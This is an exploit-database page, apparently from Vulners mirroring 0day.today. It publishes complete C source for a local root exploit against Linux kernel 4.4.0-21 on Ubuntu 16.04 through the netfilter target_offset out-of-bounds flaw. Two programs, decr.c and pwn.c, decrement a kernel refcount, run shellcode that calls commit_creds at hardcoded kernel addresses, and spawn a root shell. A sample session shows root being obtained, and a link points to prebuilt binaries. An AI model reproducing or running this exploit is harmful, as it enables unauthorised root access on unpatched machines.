Lucene search
K

Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - netfilter target_offset Local Privilege Escalation Exploi

🗓️ 19 Mar 2018 00:00:00Reported by Vitaly NikolenkoType 
zdt
 zdt
🔗 0day.today👁 618 Views

Local Privilege Escalation Ubuntu 16.04 netfilter target_offset exploi

Code
/**
 EDB Note: Download ~ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44300.zip
 Video ~ https://www.youtube.com/watch?v=qchiJn94kTo
**/
 
/** decr.c **/
/**
 * Ubuntu 16.04 local root exploit - netfilter target_offset OOB
 * check_compat_entry_size_and_hooks/check_entry
 *
 * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
 *
 * Vitaly Nikolenko
 * [email protected]
 * 23/04/2016
 *
 *
 * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
 * automatic loading).
 *
 * [email protected]:~$ uname -a
 * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 * [email protected]:~$ gcc decr.c -m32 -O2 -o decr
 * [email protected]:~$ gcc pwn.c -O2 -o pwn
 * [email protected]:~$ ./decr 
 * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
 * [!] Decrementing the refcount. This may take a while...
 * [!] Wait for the "Done" message (even if you'll get the prompt back).
 * [email protected]:~$ [+] Done! Now run ./pwn
 * 
 * [email protected]:~$ ./pwn
 * [+] Escalating privs...
 * [email protected]:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * [email protected]:~# 
 * 
 */
 
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>
 
#define MALLOC_SIZE 66*1024
 
int check_smaep() {
    FILE *proc_cpuinfo;
    char fbuf[512];
 
    proc_cpuinfo = fopen("/proc/cpuinfo", "r");
 
    if (proc_cpuinfo < 0) {
        perror("fopen");
        return -1;
    }
 
    memset(fbuf, 0, sizeof(fbuf));
     
    while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
        if (strlen(fbuf) == 0)
            continue;
         
        if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
            fclose(proc_cpuinfo);
            return -1;
        }
    }
 
    fclose(proc_cpuinfo);
    return 0;
}
 
int check_mod() {
    FILE *proc_modules;
    char fbuf[256];
 
    proc_modules = fopen("/proc/modules", "r");
 
    if (proc_modules < 0) {
        perror("fopen");
        return -1;
    }
 
    memset(fbuf, 0, sizeof(fbuf));
     
    while(fgets(fbuf, 256, proc_modules) != NULL) {
        if (strlen(fbuf) == 0)
            continue;
         
        if (!strncmp("ip_tables", fbuf, 9)) {
            fclose(proc_modules);
            return 0;
        }
    }
 
    fclose(proc_modules);
    return -1;
}
 
int decr(void *p) {
    int sock, optlen;
    int ret;
    void *data;
    struct ipt_replace *repl;
    struct ipt_entry *entry;
    struct xt_entry_match *ematch;
    struct xt_standard_target *target;
    unsigned i;
 
    sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
 
    if (sock == -1) {
            perror("socket");
            return -1;
    }
 
    data = malloc(MALLOC_SIZE);
 
    if (data == NULL) {
        perror("malloc");
        return -1;
    }
 
    memset(data, 0, MALLOC_SIZE);
 
    repl = (struct ipt_replace *) data;
    repl->num_entries = 1;
    repl->num_counters = 1;
    repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
    repl->valid_hooks = 0;
 
    entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
    entry->target_offset = 74; // overwrite target_offset
    entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
 
    ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
 
    strcpy(ematch->u.user.name, "icmp");
    void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
    uint64_t *me = (uint64_t *)(kmatch + 0x58);
    *me = 0xffffffff821de10d; // magic number!
 
    uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
    *match = (uint32_t)kmatch;
     
    ematch->u.match_size = (short)0xffff;
 
    target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
    uint32_t *t = (uint32_t *)target;
    *t = (uint32_t)kmatch;
 
    printf("[!] Decrementing the refcount. This may take a while...\n");
    printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
 
    for (i = 0; i < 0xffffff/2+1; i++) {
        ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
    }
 
    close(sock);
    free(data);
    printf("[+] Done! Now run ./pwn\n");
 
    return 0;
}
 
int main(void) {
    void *stack;
    int ret;
 
    printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
    if (check_mod()) {
        printf("[-] No ip_tables module found! Quitting...\n");
        return -1;
    }
 
    if (check_smaep()) {
        printf("[-] SMEP/SMAP support dectected! Quitting...\n");
        return -1;
    }
 
    ret = unshare(CLONE_NEWUSER);
 
    if (ret == -1) {
        perror("unshare");
        return -1;
    }
 
    stack = (void *) malloc(65536);
 
    if (stack == NULL) {
        perror("malloc");
        return -1;
    }
 
    clone(decr, stack + 65536, CLONE_NEWNET, NULL);
 
    sleep(1);
 
    return 0;
}
 
/** decr.c EOF **/
 
/** pwn.c **/
/**
 * Run ./decr first!
 *
 * 23/04/2016
 * - vnik
 */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>
 
#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0
 
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
 
void __attribute__((regparm(3))) privesc() {
    commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
    prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
        commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
 
int main() {
    void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
    assert(payload == (void *)MMAP_ADDR);
 
    void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
 
    memset(shellcode, 0, 0x300000);
 
    void *ret = memcpy(shellcode, &privesc, 0x300);
    assert(ret == shellcode);
 
    printf("[+] Escalating privs...\n");
 
    int fd = open("/dev/ptmx", O_RDWR);
    close(fd);
 
    assert(!getuid());
 
    printf("[+] We've got root!");
 
        return execl("/bin/bash", "-sh", NULL);
}
/** pwn.c EOF **/

#  0day.today [2018-03-20]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation